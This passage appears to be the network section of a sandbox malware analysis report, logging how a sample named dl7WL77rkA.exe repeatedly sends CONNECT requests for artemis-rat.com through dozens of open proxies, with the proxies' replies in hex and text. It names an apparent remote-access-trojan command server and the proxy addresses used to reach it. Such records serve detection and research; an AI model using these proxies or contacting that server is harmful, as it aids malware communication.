Mar 11, 2024 03:30:47.201982975 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.202159882 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:55.287904024 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1419	192.168.2.5	52347	193.136.97.17	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.188929081 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.202013969 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.202172041 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:56.217653036 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1420	192.168.2.5	53819	45.233.2.1	4153	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.190351963 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1421	192.168.2.5	53818	74.118.80.244	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.190565109 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1422	192.168.2.5	53825	104.27.66.31	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.190743923 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.344831944 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1423	192.168.2.5	53470	34.176.113.148	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.197274923 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:35.651700974 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:36.443967104 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:37.308018923 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:39.036020041 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:42.555923939 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:49.468103886 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:32:03.294523954 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:32:31.455944061 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1424	192.168.2.5	53820	47.74.226.8	5001	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.198609114 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1425	192.168.2.5	53566	117.160.250.163	8081	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.234368086 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.190834999 CET	221	IN	HTTP/1.1 403 Access Denied Date: Mon, 11 Mar 2024 02:30:45 GMT Connection: close Cache-Control: no-store Content-Type: text/html Content-Language: en Content-Length: 43 Data Raw: 59 6f 75 20 61 72 65 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 2e Data Ascii: You are not allowed to access the document.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1426	192.168.2.5	53823	198.37.57.112	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.253667116 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.484904051 CET	503	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Mar 2024 02:30:44 GMT Connection: close Content-Length: 324 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 55 52 4c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid URL</h2><hr><p>HTTP Error 400. The request URL is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1427	192.168.2.5	52484	198.57.211.235	11096	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.340641975 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.405164003 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.405400038 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1428	192.168.2.5	53467	103.180.123.141	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.349536896 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.992332935 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1429	192.168.2.5	53446	154.65.39.7	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.349705935 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.423821926 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.468288898 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:56.509557009 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1430	192.168.2.5	53821	103.216.49.151	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.352854967 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1431	192.168.2.5	53678	184.170.249.65	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.352930069 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1432	192.168.2.5	52987	162.253.68.97	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.360085011 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1433	192.168.2.5	53838	200.10.73.210	5678	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.368350029 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1434	192.168.2.5	53887	31.43.179.160	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.373224974 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.529608011 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1435	192.168.2.5	49802	147.124.212.31	11070	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.374489069 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.423784971 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.468287945 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:56.509571075 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1436	192.168.2.5	53892	172.67.162.127	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.376179934 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.532151937 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1437	192.168.2.5	53831	185.217.143.23	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.383852959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.721004009 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 02:30:44 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1438	192.168.2.5	53911	104.25.87.42	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.388421059 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.544698000 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1439	192.168.2.5	52503	83.136.219.140	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.389086008 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.423821926 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.804291964 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:30:50 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 613 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of
Mar 11, 2024 03:30:50.804368973 CET	269	IN	Data Raw: 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f Data Ascii: the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at artemis-rat.com Port 443

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1440	192.168.2.5	53546	72.49.49.11	31034	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.392520905 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1441	192.168.2.5	53853	37.44.238.2	53471	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.398004055 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.092643023 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.999547958 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.905389071 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
